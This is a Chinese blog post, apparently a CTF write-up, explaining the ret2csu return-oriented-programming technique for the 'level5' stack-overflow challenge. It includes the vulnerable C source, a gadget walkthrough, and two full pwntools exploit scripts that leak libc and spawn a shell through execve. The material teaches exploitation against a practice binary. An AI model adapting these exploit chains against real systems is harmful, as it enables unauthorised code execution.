PWN> [蒸米]level5 [CTFwiki]

发布于 2022-11-07  18 次阅读


ret2csu

原理

函数调用参数与寄存器

关于函数调用参数和寄存器的联系CSAPP给出了相当精辟的介绍,这里我决定援引CSAPP原文(顶礼膜拜)

在x86-64中,可以通过寄存器最多传递6个整型(整数、指针等)参数。寄存器的使用是有特殊顺序的,寄存器使用的名字取决于养传递的数据类型的大小,如下图所示。会根据参数在参数列表中的顺序为它们分配寄存器。可以通过64位寄存器适当的部分访问小于64位的参数。例如,如果第一个参数是32位的,那么可以用%edi来访问它。如果一个函数有大于6个整形参数,超出6个的部分就要通过栈来传递

gadgets

然后来简单讲讲什么是gadgets

所谓gadgets就是一些存在于libc中的可以对特定寄存器的值进行操作的函数或代码片段
通过利用gadgets我们可以对函数调用的参数进行操纵,从而进一步对函数进行利用而达到攻击的目的

但在大多数时候我们很难找到每个寄存器的gadgets,这时候我们就可以利用x86-64下用于对libc进行初始化操作的__libc_csu_init函数中的gadgets了,这也是ret2csu的含义所在

以下是__libc_csu_init函数的反汇编源码

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

__libc_csu_init,我们可以利用以下几点

  • 0x000000000040061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbxrbpr12r13r14r15寄存器的数据
  • 0x00000000004006000x0000000000400609,我们可以将r13赋给rdx、将r14赋给rsi,将r15d赋给edi(需要注意的是,虽然这里赋给的是edi,但其实此时rdi的高32位寄存器值为0,所以我们只能控制低32位),这三个寄存器也是x64函数调用中传递的前三个寄存器
    此外我们注意到在0x0000000000400609处有call指令,如果我们可以合理地控制r12rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址
  • 0x000000000040060D0x0000000000400614,我们可以控制rbxrbp的之间的关系为rbx+1 = rbp以规避jnz指令造成的循环,这样我们就不会循环到loc_400600,进而可以继续执行下面的汇编程序并retn到下一个函数。这里我们可以简单的设置rbx=0rbp=1

值得注意的是,不同版本的libc中__libc_csu_init函数有一定的区别,需要自行调整
另外,在gcc还会在程序中编译进去几个与__libc_csu_init类似的万能gadgets,可以根据实际情况自行挑选使用

_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

题目

程序开启了NX保护,但.bss段有写入权限
看看源码

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
	write(STDOUT_FILENO, "Hello, World\n", 13);
	vulnerable_function();
}

可以看到题目的源码相当朴实无华()
read函数可以栈溢出不用多说,此外我们可以调用write函数输出其自身的地址以确定libc版本
__libc_csu_init也在0x00000000004005C0处,有loc_400600loc_400616两处gadgets

那么最后也是最重要的,构造payload

构造payload

首先来理清gadget的结构(此处汇编代码因为考虑易读性而并不规范)

然后我们的大致的gadget利用思路是:先跳转到loc_40061A(因为loc_400616的第一条指令是栈指针操作add rsp, 8,应当跳过)处设置各寄存器的值,然后retn0x400600开始间接设置函数调用的前三个参数所在的寄存器、call到我们设置的函数,返回后紧接着顺利绕过jnz循环第二次来到loc_400616,随便设置寄存器的值(关于0xdeadbeef可以去了解Magic Number,这里无实际意义),最后retn回程序起点

  • payload1
    • 间接调用write函数,利用其输出自己的GOT表地址以便我们查找libc库版本,最后返回到起点
  • payload2
    • 调用read函数在.bss段基地址处写入,并在payload外输入execve函数的地址和/bin/sh\x00,再次返回起点
  • payload3
    • 访问我们在.bss段写入的execve函数地址调用之,传入写入的/bin/sh\x00,然后getshell

值得注意的是我们选择__libc_csu_init函数作为gadget的理由是它所能改变的寄存器与read函数、write函数的参数数量相匹配,read函数和write函数的参数格式如下

read(int fd, void *buf, size_t count);
write(int fd, void *buf, size_t count);
  • int fd:只能为0或1,0为文件写入、1为文件读取
  • void *buf:指向写入或读取的目标地址
  • size_t count:写入或读取的字节长度

最终payload构造如下

EXP

from pwn import *
from LibcSearcher import LibcSearcher

e = ELF('./level5')
sh = process('./level5')

write_got = e.got['write']
read_got = e.got['read']
main_addr = e.symbols['main']
csu_front = 0x400600
csu_end = 0x40061A
read_got = e.got['read']
bss_base = e.bss()

payload1 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(write_got) + p64(0x8) + p64(write_got) + p64(0x1) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload1)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)           # libc6_2.35-0ubuntu3.1_amd64
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x10) + p64(bss_base) + p64(0x0) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload2)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

payload3 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(bss_base) + p64(0x00) + p64(0x00) + p64(bss_base+8) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload3)
sh.interactive()

当然也可以像wiki里一样将构造payload部分的代码写成函数,方便构造和调用

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = b'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
# RDI, RSI, RDX, RCX, R8, R9, more on the stack
# write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr) # libc6_2.35-0ubuntu3.1_amd64
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
#gdb.attach(sh)

# read(0,bss_base,16)
# read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil('Hello, World\n')
# execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

这题实际上在最后几步的处理上还有另外一种解法,那就是利用ROPgadget查找出pop rdi ; ret ;指令块的位置,将rdi的值改变为str_bin_sh的地址或字符串/bin/sh\x00,使之传入system函数或evecve函数内
不过经过尝试,由于我能力有限,未能构造好payload而未能打通

杂谈

不愧是wiki里中级ROP的守门员,上来就把我整蒙了,看一会资料就开始逐渐崩溃、心情好点之后又跑回去看,反反复复最后整整耗了我一周有余最后终于打通,看着pwn到的shell有种十年便秘一朝泄洪的爽快感(?)

说起来在查资料的过程中得知这道题的原作者蒸米是乌云里的大佬,这道题配套的教程也是发布在乌云上的。所以闲暇时跑去了解了一些乌云的往事,在知道乌云当年的辉煌鼎盛和一夜崩塌之后不禁有些怀古伤今()
只能希望中国网络安全圈的环境慢慢完善、越变越好吧,这是由衷的

参考

  • CTFwiki
  • 《深入理解计算机系统》(CSAPP)